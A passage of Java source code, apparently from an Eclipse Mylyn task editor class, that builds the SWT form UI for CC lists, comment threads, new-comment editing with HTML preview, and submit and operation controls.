SWT.TOP).applyTo(label); ccList = new org.eclipse.swt.widgets.List(attributesComposite, SWT.MULTI | SWT.V_SCROLL);// SWT.BORDER ccList.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); ccList.setFont(TEXT_FONT); GridData ccListData = new GridData(GridData.HORIZONTAL_ALIGN_FILL); ccListData.horizontalSpan = 1; ccListData.widthHint = 150; ccListData.heightHint = 95; ccList.setLayoutData(ccListData); if (hasChanged(taskData.getAttribute(RepositoryTaskAttribute.USER_CC))) { ccList.setBackground(colorIncoming); } java.util.List<String> ccs = taskData.getCc(); if (ccs != null) { for (Iterator<String> it = ccs.iterator(); it.hasNext();) { String cc = it.next(); ccList.add(cc); } } java.util.List<String> removedCCs = taskData.getAttributeValues(RepositoryTaskAttribute.REMOVE_CC); if (removedCCs != null) { for (String item : removedCCs) { int i = ccList.indexOf(item); if (i != -1) { ccList.select(i); } } } ccList.addSelectionListener(new SelectionListener() { public void widgetSelected(SelectionEvent e) { for (String cc : ccList.getItems()) { int index = ccList.indexOf(cc); if (ccList.isSelected(index)) { List<String> remove = taskData.getAttributeValues(RepositoryTaskAttribute.REMOVE_CC); if (!remove.contains(cc)) { taskData.addAttributeValue(RepositoryTaskAttribute.REMOVE_CC, cc); } } else { taskData.removeAttributeValue(RepositoryTaskAttribute.REMOVE_CC, cc); } } attributeChanged(taskData.getAttribute(RepositoryTaskAttribute.REMOVE_CC)); } public void widgetDefaultSelected(SelectionEvent e) { } }); toolkit.createLabel(attributesComposite, ""); label = toolkit.createLabel(attributesComposite, "(Select to remove)"); GridDataFactory.fillDefaults().align(SWT.CENTER, SWT.CENTER).applyTo(label); } } /** * A listener for selection of the summary field. * * @since 2.1 */ protected class DescriptionListener implements Listener { public DescriptionListener() { } public void handleEvent(Event event) { fireSelectionChanged(new SelectionChangedEvent(selectionProvider, new StructuredSelection( new RepositoryTaskSelection(taskData.getId(), taskData.getRepositoryUrl(), taskData.getRepositoryKind(), getSectionLabel(SECTION_NAME.DESCRIPTION_SECTION), true, taskData.getSummary())))); } } protected boolean supportsCommentDelete() { return false; } protected void deleteComment(TaskComment comment) { } protected void createCommentLayout(Composite composite) { commentsSection = createSection(composite, getSectionLabel(SECTION_NAME.COMMENTS_SECTION)); commentsSection.setText(commentsSection.getText() + " (" + taskData.getComments().size() + ")"); if (taskData.getComments().size() > 0) { commentsSection.setEnabled(true); ImageHyperlink hyperlink = new ImageHyperlink(commentsSection, SWT.NONE); toolkit.adapt(hyperlink, true, true); hyperlink.setBackground(null); hyperlink.setImage(TasksUiImages.getImage(TasksUiImages.EXPAND_ALL)); hyperlink.addHyperlinkListener(new HyperlinkAdapter() { public void linkActivated(HyperlinkEvent e) { revealAllComments(); } }); commentsSection.setTextClient(hyperlink); } else { commentsSection.setEnabled(false); } // Additional (read-only) Comments Area Composite addCommentsComposite = toolkit.createComposite(commentsSection); commentsSection.setClient(addCommentsComposite); GridLayout addCommentsLayout = new GridLayout(); addCommentsLayout.numColumns = 1; addCommentsComposite.setLayout(addCommentsLayout); GridDataFactory.fillDefaults().grab(true, false).applyTo(addCommentsComposite); boolean foundNew = false; for (Iterator<TaskComment> it = taskData.getComments().iterator(); it.hasNext();) { final TaskComment taskComment = it.next(); final ExpandableComposite expandableComposite = toolkit.createExpandableComposite(addCommentsComposite, ExpandableComposite.TREE_NODE | ExpandableComposite.LEFT_TEXT_CLIENT_ALIGNMENT); if ((repositoryTask != null && repositoryTask.getLastReadTimeStamp() == null) || editorInput.getOldTaskData() == null) { // hit or lost task data, expose all comments expandableComposite.setExpanded(true); foundNew = true; } else if (isNewComment(taskComment)) { expandableComposite.setBackground(colorIncoming); expandableComposite.setExpanded(true); foundNew = true; } expandableComposite.setTitleBarForeground(toolkit.getColors().getColor(IFormColors.TITLE)); // expandableComposite.setText(taskComment.getNumber() + ": " + taskComment.getAuthorName() + ", " // + formatDate(taskComment.getCreated())); expandableComposite.addExpansionListener(new ExpansionAdapter() { public void expansionStateChanged(ExpansionEvent e) { resetLayout(); } }); final Composite toolbarComp = toolkit.createComposite(expandableComposite); RowLayout rowLayout = new RowLayout(); rowLayout.pack = true; rowLayout.marginLeft = 0; rowLayout.marginBottom = 0; rowLayout.marginTop = 0; toolbarComp.setLayout(rowLayout); toolbarComp.setBackground(null); ImageHyperlink formHyperlink = toolkit.createImageHyperlink(toolbarComp, SWT.NONE); formHyperlink.setBackground(null); formHyperlink.setFont(expandableComposite.getFont()); formHyperlink.setForeground(toolkit.getColors().getColor(IFormColors.TITLE)); if (taskComment.getAuthor().equalsIgnoreCase(repository.getUserName())) { formHyperlink.setImage(TasksUiImages.getImage(TasksUiImages.PERSON_ME_NARROW)); } else { formHyperlink.setImage(TasksUiImages.getImage(TasksUiImages.PERSON_NARROW)); } formHyperlink.setText(taskComment.getNumber() + ": " + taskComment.getAuthorName() + ", " + formatDate(taskComment.getCreated())); formHyperlink.setUnderlined(false); final Composite toolbarButtonComp = toolkit.createComposite(toolbarComp); RowLayout buttonCompLayout = new RowLayout(); buttonCompLayout.marginBottom = 0; buttonCompLayout.marginTop = 0; toolbarButtonComp.setLayout(buttonCompLayout); toolbarButtonComp.setBackground(null); if (supportsCommentDelete()) { final ImageHyperlink deleteComment = new ImageHyperlink(toolbarButtonComp, SWT.NULL); toolkit.adapt(deleteComment, true, true); deleteComment.setImage(TasksUiImages.getImage(TasksUiImages.REMOVE)); deleteComment.setToolTipText("Remove"); deleteComment.addHyperlinkListener(new HyperlinkAdapter() { @Override public void linkActivated(HyperlinkEvent e) { deleteComment(taskComment); submitToRepository(); } }); } final ImageHyperlink replyLink = createReplyHyperlink(taskComment.getNumber(), toolbarButtonComp, taskComment.getText()); expandableComposite.addExpansionListener(new ExpansionAdapter() { @Override public void expansionStateChanged(ExpansionEvent e) { toolbarButtonComp.setVisible(expandableComposite.isExpanded()); } }); toolbarButtonComp.setVisible(expandableComposite.isExpanded()); formHyperlink.addHyperlinkListener(new HyperlinkAdapter() { @Override public void linkActivated(HyperlinkEvent e) { expandableComposite.setExpanded(!expandableComposite.isExpanded()); toolbarButtonComp.setVisible(expandableComposite.isExpanded()); resetLayout(); } @Override public void linkEntered(HyperlinkEvent e) { replyLink.setUnderlined(true); super.linkEntered(e); } @Override public void linkExited(HyperlinkEvent e) { replyLink.setUnderlined(false); super.linkExited(e); } }); expandableComposite.setTextClient(toolbarComp); // HACK: This is necessary // due to a bug in SWT's ExpandableComposite. // 165803: Expandable bars should expand when clicking anywhere expandableComposite.setData(toolbarButtonComp); expandableComposite.setLayout(new GridLayout()); expandableComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); Composite ecComposite = toolkit.createComposite(expandableComposite); GridLayout ecLayout = new GridLayout(); ecLayout.marginHeight = 0; ecLayout.marginBottom = 3; ecLayout.marginLeft = 15; ecComposite.setLayout(ecLayout); ecComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); expandableComposite.setClient(ecComposite); TextViewer viewer = addTextViewer(repository, ecComposite, taskComment.getText().trim(), SWT.MULTI | SWT.WRAP); // viewer.getControl().setBackground(new // Color(expandableComposite.getDisplay(), 123, 34, 155)); StyledText styledText = viewer.getTextWidget(); GridDataFactory.fillDefaults().hint(DESCRIPTION_WIDTH, SWT.DEFAULT).applyTo(styledText); // GridDataFactory.fillDefaults().hint(DESCRIPTION_WIDTH, // SWT.DEFAULT).applyTo(viewer.getControl()); // code for outline commentStyleText.add(styledText); controlBySelectableObject.put(taskComment, styledText); // if (supportsCommentDelete()) { // Button deleteButton = toolkit.createButton(ecComposite, null, // SWT.PUSH); // deleteButton.setImage(TasksUiImages.getImage(TasksUiImages.COMMENT_DELETE)); // deleteButton.setToolTipText("Remove comment above."); // deleteButton.addListener(SWT.Selection, new Listener() { // public void handleEvent(Event e) { // if (taskComment != null) { // deleteComment(taskComment); // submitToRepository(); } if (foundNew) { commentsSection.setExpanded(true); } else if (taskData.getComments() == null || taskData.getComments().size() == 0) { commentsSection.setExpanded(false); } else if (editorInput.getTaskData() != null && editorInput.getOldTaskData() != null) { List<TaskComment> newTaskComments = editorInput.getTaskData().getComments(); List<TaskComment> oldTaskComments = editorInput.getOldTaskData().getComments(); if (newTaskComments == null || oldTaskComments == null) { commentsSection.setExpanded(true); } else { commentsSection.setExpanded(newTaskComments.size() != oldTaskComments.size()); } } } public String formatDate(String dateString) { return dateString; } private boolean isNewComment(TaskComment comment) { // Simple test (will not reveal new comments if offline data was lost if (editorInput.getOldTaskData() != null) { return (comment.getNumber() > editorInput.getOldTaskData().getComments().size()); } return false; // OLD METHOD FOR DETERMINING NEW COMMENTS // if (repositoryTask != null) { // if (repositoryTask.getLastSyncDateStamp() == null) { // // new hit // return true; // AbstractRepositoryConnector connector = (AbstractRepositoryConnector) // TasksUiPlugin.getRepositoryManager() // .getRepositoryConnector(taskData.getRepositoryKind()); // AbstractTaskDataHandler offlineHandler = connector.getTaskDataHandler(); // if (offlineHandler != null) { // Date lastSyncDate = // taskData.getAttributeFactory().getDateForAttributeType( // RepositoryTaskAttribute.DATE_MODIFIED, // repositoryTask.getLastSyncDateStamp()); // if (lastSyncDate != null) { // // reduce granularity to minutes // Calendar calLastMod = Calendar.getInstance(); // calLastMod.setTimeInMillis(lastSyncDate.getTime()); // calLastMod.set(Calendar.SECOND, 0); // Date commentDate = // taskData.getAttributeFactory().getDateForAttributeType( // RepositoryTaskAttribute.COMMENT_DATE, comment.getCreated()); // if (commentDate != null) { // Calendar calComment = Calendar.getInstance(); // calComment.setTimeInMillis(commentDate.getTime()); // calComment.set(Calendar.SECOND, 0); // if (calComment.after(calLastMod)) { // return true; // return false; } /** * Subclasses that support HTML preview of ticket description and comments override this method to return an * instance of AbstractRenderingEngine * * @return <code>null</code> if HTML preview is not supported for the repository (default) * @since 2.1 */ protected AbstractRenderingEngine getRenderingEngine() { return null; } protected void createNewCommentLayout(Composite composite) { // Section newCommentSection = createSection(composite, // getSectionLabel(SECTION_NAME.NEWCOMMENT_SECTION)); Section newCommentSection = toolkit.createSection(composite, ExpandableComposite.TITLE_BAR); newCommentSection.setText(getSectionLabel(SECTION_NAME.NEWCOMMENT_SECTION)); newCommentSection.setLayout(new GridLayout()); newCommentSection.setLayoutData(new GridData(GridData.FILL_BOTH)); Composite newCommentsComposite = toolkit.createComposite(newCommentSection); newCommentsComposite.setLayout(new GridLayout()); if (taskData.getAttribute(RepositoryTaskAttribute.COMMENT_NEW) == null) { taskData.setAttributeValue(RepositoryTaskAttribute.COMMENT_NEW, ""); } final RepositoryTaskAttribute attribute = taskData.getAttribute(RepositoryTaskAttribute.COMMENT_NEW); if (getRenderingEngine() != null) { // composite with StackLayout to hold text editor and preview widget Composite editPreviewComposite = toolkit.createComposite(newCommentsComposite); GridData editPreviewData = new GridData(GridData.FILL_BOTH); editPreviewData.widthHint = DESCRIPTION_WIDTH; editPreviewData.minimumHeight = DESCRIPTION_HEIGHT; editPreviewData.grabExcessHorizontalSpace = true; editPreviewComposite.setLayoutData(editPreviewData); editPreviewComposite.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); final StackLayout editPreviewLayout = new StackLayout(); editPreviewComposite.setLayout(editPreviewLayout); newCommentTextViewer = addTextEditor(repository, editPreviewComposite, attribute.getValue(), true, SWT.FLAT | SWT.MULTI | SWT.WRAP | SWT.V_SCROLL); editPreviewLayout.topControl = newCommentTextViewer.getControl(); editPreviewComposite.layout(); // composite for edit/preview button Composite buttonComposite = toolkit.createComposite(newCommentsComposite); buttonComposite.setLayout(new GridLayout()); createPreviewButton(buttonComposite, newCommentTextViewer, editPreviewComposite, editPreviewLayout); } else { newCommentTextViewer = addTextEditor(repository, newCommentsComposite, attribute.getValue(), true, SWT.FLAT | SWT.MULTI | SWT.WRAP | SWT.V_SCROLL); GridData addCommentsTextData = new GridData(GridData.FILL_BOTH); addCommentsTextData.widthHint = DESCRIPTION_WIDTH; addCommentsTextData.minimumHeight = DESCRIPTION_HEIGHT; addCommentsTextData.grabExcessHorizontalSpace = true; newCommentTextViewer.getControl().setLayoutData(addCommentsTextData); newCommentTextViewer.getControl().setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); } newCommentTextViewer.setEditable(true); newCommentTextViewer.addTextListener(new ITextListener() { public void textChanged(TextEvent event) { String newValue = addCommentsTextBox.getText(); if (!newValue.equals(attribute.getValue())) { attribute.setValue(newValue); attributeChanged(attribute); } } }); newCommentTextViewer.getTextWidget().addListener(SWT.FocusIn, new NewCommentListener()); addCommentsTextBox = newCommentTextViewer.getTextWidget(); newCommentSection.setClient(newCommentsComposite); toolkit.paintBordersFor(newCommentsComposite); } private Browser addBrowser(Composite parent, int style) { Browser browser = new Browser(parent, style); // intercept links to open tasks in rich editor and urls in separate browser browser.addLocationListener(new LocationAdapter() { @Override public void changing(LocationEvent event) { // ignore events that are caused by manually setting the contents of the browser if (ignoreLocationEvents) { return; } if (event.location != null && !event.location.startsWith("about")) { event.doit = false; IHyperlink link = new TaskUrlHyperlink( new Region(0, 0)/* a fake region just to make constructor happy */, event.location); link.open(); } } }); return browser; } /** * Creates and sets up the button for switching between text editor and HTML preview. Subclasses that support HTML * preview of new comments must override this method. * * @param buttonComposite * the composite that holds the button * @param editor * the TextViewer for editing text * @param previewBrowser * the Browser for displaying the preview * @param editorLayout * the StackLayout of the <code>editorComposite</code> * @param editorComposite * the composite that holds <code>editor</code> and <code>previewBrowser</code> * @since 2.1 */ private void createPreviewButton(final Composite buttonComposite, final TextViewer editor, final Composite editorComposite, final StackLayout editorLayout) { // create an anonymous object that encapsulates the edit/preview button together with // its state and String constants for button text; // this implementation keeps all information needed to set up the button // in this object and the method parameters, and this method is reused by both the // description section and new comments section. new Object() { private static final String LABEL_BUTTON_PREVIEW = "Preview"; private static final String LABEL_BUTTON_EDIT = "Edit"; private int buttonState = 0; private Button previewButton; private Browser previewBrowser; { previewButton = toolkit.createButton(buttonComposite, LABEL_BUTTON_PREVIEW, SWT.PUSH); GridData previewButtonData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); previewButtonData.widthHint = 100; //previewButton.setImage(TasksUiImages.getImage(TasksUiImages.PREVIEW)); previewButton.setLayoutData(previewButtonData); previewButton.addListener(SWT.Selection, new Listener() { public void handleEvent(Event e) { if (previewBrowser == null) { previewBrowser = addBrowser(editorComposite, SWT.NONE); } buttonState = ++buttonState % 2; if (buttonState == 1) { setText(previewBrowser, "Loading preview..."); previewWiki(previewBrowser, editor.getTextWidget().getText()); } previewButton.setText(buttonState == 0 ? LABEL_BUTTON_PREVIEW : LABEL_BUTTON_EDIT); editorLayout.topControl = (buttonState == 0 ? editor.getControl() : previewBrowser); editorComposite.layout(); } }); } }; } private void setText(Browser browser, String html) { try { ignoreLocationEvents = true; browser.setText((html != null) ? html : ""); } finally { ignoreLocationEvents = false; } } private void previewWiki(final Browser browser, String sourceText) { final class PreviewWikiJob extends Job { private String sourceText; private String htmlText; private IStatus jobStatus; public PreviewWikiJob(String sourceText) { super("Formatting Wiki Text"); if (sourceText == null) { throw new IllegalArgumentException("source text must not be null"); } this.sourceText = sourceText; } @Override protected IStatus run(IProgressMonitor monitor) { AbstractRenderingEngine htmlRenderingEngine = getRenderingEngine(); if (htmlRenderingEngine == null) { jobStatus = new RepositoryStatus(repository, IStatus.INFO, TasksUiPlugin.ID_PLUGIN, RepositoryStatus.ERROR_INTERNAL, "The repository does not support HTML preview."); return Status.OK_STATUS; } jobStatus = Status.OK_STATUS; try { htmlText = htmlRenderingEngine.renderAsHtml(repository, sourceText, monitor); } catch (CoreException e) { jobStatus = e.getStatus(); } return Status.OK_STATUS; } public String getHtmlText() { return htmlText; } public IStatus getStatus() { return jobStatus; } } final PreviewWikiJob job = new PreviewWikiJob(sourceText); job.addJobChangeListener(new JobChangeAdapter() { @Override public void done(final IJobChangeEvent event) { if (!form.isDisposed()) { if (job.getStatus().isOK()) { getPartControl().getDisplay().asyncExec(new Runnable() { public void run() { AbstractRepositoryTaskEditor.this.setText(browser, job.getHtmlText()); parentEditor.setMessage(null, IMessageProvider.NONE); } }); } else { getPartControl().getDisplay().asyncExec(new Runnable() { public void run() { parentEditor.setMessage(job.getStatus().getMessage(), IMessageProvider.ERROR); } }); } } super.done(event); } }); job.setUser(true); job.schedule(); } /** * Creates the button layout. This displays options and buttons at the bottom of the editor to allow actions to be * performed on the bug. */ protected void createActionsLayout(Composite composite) { Section section = createSection(composite, getSectionLabel(SECTION_NAME.ACTIONS_SECTION)); GridDataFactory.fillDefaults().align(SWT.FILL, SWT.TOP).grab(true, true).applyTo(section); Composite buttonComposite = toolkit.createComposite(section); GridLayout buttonLayout = new GridLayout(); GridDataFactory.fillDefaults().align(SWT.FILL, SWT.TOP).applyTo(buttonComposite); buttonLayout.numColumns = 4; buttonComposite.setLayout(buttonLayout); addRadioButtons(buttonComposite); addActionButtons(buttonComposite); section.setClient(buttonComposite); } protected Section createSection(Composite composite, String title) { Section section = toolkit.createSection(composite, ExpandableComposite.TITLE_BAR | Section.TWISTIE); section.setText(title); section.setExpanded(true); section.setLayout(new GridLayout()); section.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); return section; } /** * Adds buttons to this composite. Subclasses can override this method to provide different/additional buttons. * * @param buttonComposite * Composite to add the buttons to. */ protected void addActionButtons(Composite buttonComposite) { submitButton = toolkit.createButton(buttonComposite, LABEL_BUTTON_SUBMIT, SWT.NONE); GridData submitButtonData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); submitButtonData.widthHint = 100; submitButton.setImage(TasksUiImages.getImage(TasksUiImages.REPOSITORY_SUBMIT)); submitButton.setLayoutData(submitButtonData); submitButton.addListener(SWT.Selection, new Listener() { public void handleEvent(Event e) { submitToRepository(); } }); setSubmitEnabled(true); toolkit.createLabel(buttonComposite, " "); AbstractTask task = TasksUiPlugin.getTaskListManager().getTaskList().getTask(repository.getUrl(), taskData.getId()); if (attachContextEnabled && task != null) { addAttachContextButton(buttonComposite, task); } } private void setSubmitEnabled(boolean enabled) { if (submitButton != null && !submitButton.isDisposed()) { submitButton.setEnabled(enabled); if (enabled) { submitButton.setToolTipText("Submit to " + this.repository.getUrl()); } } } /** * Override to make hyperlink available. If not overridden hyperlink will simply not be displayed. * * @return url String form of url that points to task's past activity */ protected String getHistoryUrl() { return null; } protected void saveTaskOffline(IProgressMonitor progressMonitor) { if (taskData == null) return; if (repositoryTask != null) { TasksUiPlugin.getSynchronizationManager().saveOutgoing(repositoryTask, changedAttributes); } if (repositoryTask != null) { TasksUiPlugin.getTaskListManager().getTaskList().notifyTaskChanged(repositoryTask, false); } markDirty(false); } // once the following bug is fixed, this check for first focus is probably // not needed -> Bug# 172033: Restore editor focus private boolean firstFocus = true; @Override public void setFocus() { if (summaryText != null && !summaryText.isDisposed()) { if (firstFocus) { summaryText.setFocus(); firstFocus = false; } } else { form.setFocus(); } } /** * Updates the title of the editor * */ protected void updateEditorTitle() { setPartName(editorInput.getName()); ((TaskEditor) this.getEditor()).updateTitle(editorInput.getName()); } @Override public boolean isSaveAsAllowed() { return false; } @Override public void doSave(IProgressMonitor monitor) { //updateTask(); saveTaskOffline(monitor); updateEditorTitle(); } // // TODO: Remove once offline persistence is improved // private void runSaveJob() { // Job saveJob = new Job("Save") { // @Override // protected IStatus run(IProgressMonitor monitor) { // saveTaskOffline(monitor); // return Status.OK_STATUS; // saveJob.setSystem(true); // saveJob.schedule(); // markDirty(false); @Override public void doSaveAs() { // we don't save, so no need to implement } /** * @return The composite for the whole editor. */ public Composite getEditorComposite() { return editorComposite; } @Override public void dispose() { TasksUiPlugin.getTaskListManager().getTaskList().removeChangeListener(TASKLIST_CHANGE_LISTENER); getSite().getPage().removeSelectionListener(selectionListener); if (waitCursor != null) { waitCursor.dispose(); } // if (repositoryTask != null && repositoryTask.isDirty()) { // // Edits are being made to the outgoing object // // Must discard these unsaved changes // TasksUiPlugin.getSynchronizationManager().discardOutgoing(repositoryTask); // repositoryTask.setDirty(false); super.dispose(); } /** * Fires a <code>SelectionChangedEvent</code> to all listeners registered under * <code>selectionChangedListeners</code>. * * @param event * The selection event. */ protected void fireSelectionChanged(final SelectionChangedEvent event) { Object[] listeners = selectionChangedListeners.toArray(); for (int i = 0; i < listeners.length; i++) { final ISelectionChangedListener l = (ISelectionChangedListener) listeners[i]; SafeRunnable.run(new SafeRunnable() { public void run() { l.selectionChanged(event); } }); } } private HashMap<Object, Control> controlBySelectableObject = new HashMap<Object, Control>(); private List<StyledText> commentStyleText = new ArrayList<StyledText>(); private StyledText addCommentsTextBox = null; protected TextViewer descriptionTextViewer = null; private void revealAllComments() { if (commentsSection != null) { commentsSection.setExpanded(true); } for (StyledText text : commentStyleText) { if (text.isDisposed()) continue; Composite comp = text.getParent(); while (comp != null && !comp.isDisposed()) { if (comp instanceof ExpandableComposite && !comp.isDisposed()) { ExpandableComposite ex = (ExpandableComposite) comp; ex.setExpanded(true); // HACK: This is necessary // due to a bug in SWT's ExpandableComposite. // 165803: Expandable bars should expand when clicking // anywhere if (ex.getData() != null && ex.getData() instanceof Composite) { ((Composite) ex.getData()).setVisible(true); } break; } comp = comp.getParent(); } } resetLayout(); } /** * Selects the given object in the editor. * * @param o * The object to be selected. * @param highlight * Whether or not the object should be highlighted. */ public boolean select(Object o, boolean highlight) { Control control = controlBySelectableObject.get(o); if (control != null) { // expand all parents of control Composite comp = control.getParent(); while (comp != null) { if (comp instanceof ExpandableComposite) { ExpandableComposite ex = (ExpandableComposite) comp; ex.setExpanded(true); } comp = comp.getParent(); } focusOn(control, highlight); } else if (o instanceof RepositoryTaskData) { focusOn(null, highlight); } else { return false; } return true; } private void selectNewComment() { focusOn(addCommentsTextBox, false); } /** * @author Raphael Ackermann (bug 195514) * @since 2.1 */ protected void focusAttributes() { if (attributesSection != null) { focusOn(attributesSection, false); } } private void focusDescription() { if (descriptionTextViewer != null) { focusOn(descriptionTextViewer.getTextWidget(), false); } } /** * Scroll to a specified piece of text * * @param selectionComposite * The StyledText to scroll to */ private void focusOn(Control selectionComposite, boolean highlight) { int pos = 0; // if (previousText != null && !previousText.isDisposed()) { // previousText.setsetSelection(0); // if (selectionComposite instanceof FormText) // previousText = (FormText) selectionComposite; if (selectionComposite != null) { // if (highlight && selectionComposite instanceof FormText && // !selectionComposite.isDisposed()) // ((FormText) selectionComposite).set.setSelection(0, ((FormText) // selectionComposite).getText().length()); // get the position of the text in the composite pos = 0; Control s = selectionComposite; if (s.isDisposed()) return; s.setEnabled(true); s.setFocus(); s.forceFocus(); while (s != null && s != getEditorComposite()) { if (!s.isDisposed()) { pos += s.getLocation().y; s = s.getParent(); } } pos = pos - 60; // form.getOrigin().y; } if (!form.getBody().isDisposed()) form.setOrigin(0, pos); } private RepositoryTaskOutlinePage outlinePage = null; @SuppressWarnings("unchecked") @Override public Object getAdapter(Class adapter) { return getAdapterDelgate(adapter); } public Object getAdapterDelgate(Class<?> adapter) { if (IContentOutlinePage.class.equals(adapter)) { if (outlinePage == null && editorInput != null) { outlinePage = new RepositoryTaskOutlinePage(taskOutlineModel); } return outlinePage; } return super.getAdapter(adapter); } public RepositoryTaskOutlinePage getOutline() { return outlinePage; } private Button[] radios; private Control[] radioOptions; private Button attachContextButton; private AbstractRepositoryConnector connector; private Cursor waitCursor; private boolean formBusy = false; private Composite headerInfoComposite; private Section attributesSection; public void close() { Display activeDisplay = getSite().getShell().getDisplay(); activeDisplay.asyncExec(new Runnable() { public void run() { if (getSite() != null && getSite().getPage() != null && !getManagedForm().getForm().isDisposed()) if (parentEditor != null) { getSite().getPage().closeEditor(parentEditor, false); } else { getSite().getPage().closeEditor(AbstractRepositoryTaskEditor.this, false); } } }); } public void addAttributeListener(IRepositoryTaskAttributeListener listener) { attributesListeners.add(listener); } public void removeAttributeListener(IRepositoryTaskAttributeListener listener) { attributesListeners.remove(listener); } public void setParentEditor(TaskEditor parentEditor) { this.parentEditor = parentEditor; } /** * @since 2.1 */ public TaskEditor getParentEditor() { return parentEditor; } public RepositoryTaskOutlineNode getTaskOutlineModel() { return taskOutlineModel; } public void setTaskOutlineModel(RepositoryTaskOutlineNode taskOutlineModel) { this.taskOutlineModel = taskOutlineModel; } /** * A listener for selection of the textbox where a new comment is entered in. */ private class NewCommentListener implements Listener { public void handleEvent(Event event) { fireSelectionChanged(new SelectionChangedEvent(selectionProvider, new StructuredSelection( new RepositoryTaskSelection(taskData.getId(), taskData.getRepositoryUrl(), taskData.getRepositoryKind(), getSectionLabel(SECTION_NAME.NEWCOMMENT_SECTION), false, taskData.getSummary())))); } } public Control getControl() { return form; } public void setSummaryText(String text) { if (summaryText != null) { this.summaryText.setText(text); } } public void setDescriptionText(String text) { this.descriptionTextViewer.getDocument().set(text); } protected void addRadioButtons(Composite buttonComposite) { int i = 0; Button selected = null; radios = new Button[taskData.getOperations().size()]; radioOptions = new Control[taskData.getOperations().size()]; for (Iterator<RepositoryOperation> it = taskData.getOperations().iterator(); it.hasNext();) { RepositoryOperation o = it.next(); radios[i] = toolkit.createButton(buttonComposite, "", SWT.RADIO); radios[i].setFont(TEXT_FONT); GridData radioData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); if (!o.hasOptions() && !o.isInput()) radioData.horizontalSpan = 4; else radioData.horizontalSpan = 1; radioData.heightHint = 20; String opName = o.getOperationName(); opName = opName.replaceAll("</.*>", ""); opName = opName.replaceAll("<.*>", ""); radios[i].setText(opName); radios[i].setLayoutData(radioData); // radios[i].setBackground(background); radios[i].addSelectionListener(new RadioButtonListener()); if (o.hasOptions()) { radioData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); radioData.horizontalSpan = 3; radioData.heightHint = 20; radioData.widthHint = RADIO_OPTION_WIDTH; radioOptions[i] = new CCombo(buttonComposite, SWT.FLAT | SWT.READ_ONLY); radioOptions[i].setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER); toolkit.adapt(radioOptions[i], true, true); radioOptions[i].setFont(TEXT_FONT); radioOptions[i].setLayoutData(radioData); Object[] a = o.getOptionNames().toArray(); Arrays.sort(a); for (int j = 0; j < a.length; j++) { if (a[j] != null) { ((CCombo) radioOptions[i]).add((String) a[j]); if (((String) a[j]).equals(o.getOptionSelection())) { ((CCombo) radioOptions[i]).select(j); } } } ((CCombo) radioOptions[i]).addSelectionListener(new RadioButtonListener()); } else if (o.isInput()) { radioData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); radioData.horizontalSpan = 3; radioData.widthHint = RADIO_OPTION_WIDTH - 10; String assignmentValue = ""; // NOTE: removed this because we now have content assit // if (opName.equals(REASSIGN_BUG_TO)) { // assignmentValue = repository.getUserName(); radioOptions[i] = toolkit.createText(buttonComposite, assignmentValue); radioOptions[i].setFont(TEXT_FONT); radioOptions[i].setLayoutData(radioData); // radioOptions[i].setBackground(background); ((Text) radioOptions[i]).setText(o.getInputValue()); ((Text) radioOptions[i]).addModifyListener(new RadioButtonListener()); if (hasContentAssist(o)) { ContentAssistCommandAdapter adapter = applyContentAssist((Text) radioOptions[i], createContentProposalProvider(o)); ILabelProvider propsalLabelProvider = createProposalLabelProvider(o); if (propsalLabelProvider != null) { adapter.setLabelProvider(propsalLabelProvider); } adapter.setProposalAcceptanceStyle(ContentProposalAdapter.PROPOSAL_REPLACE); } } if (i == 0 || o.isChecked()) { if (selected != null) selected.setSelection(false); selected = radios[i]; radios[i].setSelection(true); if (o.hasOptions() && o.getOptionSelection() != null) { int j = 0; for (String s : ((CCombo) radioOptions[i]).getItems()) { if (s.compareTo(o.getOptionSelection()) == 0) { ((CCombo) radioOptions[i]).select(j); } j++; } } taskData.setSelectedOperation(o); } i++; } toolkit.paintBordersFor(buttonComposite); } /** * If implementing custom attributes you may need to override this method * * @return true if one or more attributes exposed in the editor have */ protected boolean hasVisibleAttributeChanges() { if (taskData == null) return false; for (RepositoryTaskAttribute attribute : taskData.getAttributes()) { if (!attribute.isHidden()) { if (hasChanged(attribute)) { return true; } } } return false; } protected boolean hasOutgoingChange(RepositoryTaskAttribute newAttribute) { return editorInput.getOldEdits().contains(newAttribute); } protected boolean hasChanged(RepositoryTaskAttribute newAttribute) { if (newAttribute == null) return false; RepositoryTaskData oldTaskData = editorInput.getOldTaskData(); if (oldTaskData == null) return false; if (hasOutgoingChange(newAttribute)) { return false; } RepositoryTaskAttribute oldAttribute = oldTaskData.getAttribute(newAttribute.getId()); if (oldAttribute == null) return true; if (oldAttribute.getValue() != null && !oldAttribute.getValue().equals(newAttribute.getValue())) { return true; } else if (oldAttribute.getValues() != null && !oldAttribute.getValues().equals(newAttribute.getValues())) { return true; } return false; } protected void addAttachContextButton(Composite buttonComposite, AbstractTask task) { attachContextButton = toolkit.createButton(buttonComposite, "Attach Context", SWT.CHECK); attachContextButton.setImage(TasksUiImages.getImage(TasksUiImages.CONTEXT_ATTACH)); } /** * Creates a check box for adding the repository user to the cc list. Does nothing if the repository does not have a * valid username, the repository user is the assignee, reporter or already on the the cc list. */ protected void addSelfToCC(Composite composite) { if (repository.getUserName() == null) { return; } RepositoryTaskAttribute owner = taskData.getAttribute(RepositoryTaskAttribute.USER_ASSIGNED); if (owner != null && owner.getValue().indexOf(repository.getUserName()) != -1) { return; } RepositoryTaskAttribute reporter = taskData.getAttribute(RepositoryTaskAttribute.USER_REPORTER); if (reporter != null && reporter.getValue().indexOf(repository.getUserName()) != -1) { return; } RepositoryTaskAttribute ccAttribute = taskData.getAttribute(RepositoryTaskAttribute.USER_CC); if (ccAttribute != null && ccAttribute.getValues().contains(repository.getUserName())) { return; } FormToolkit toolkit = getManagedForm().getToolkit(); toolkit.createLabel(composite, ""); final Button addSelfButton = 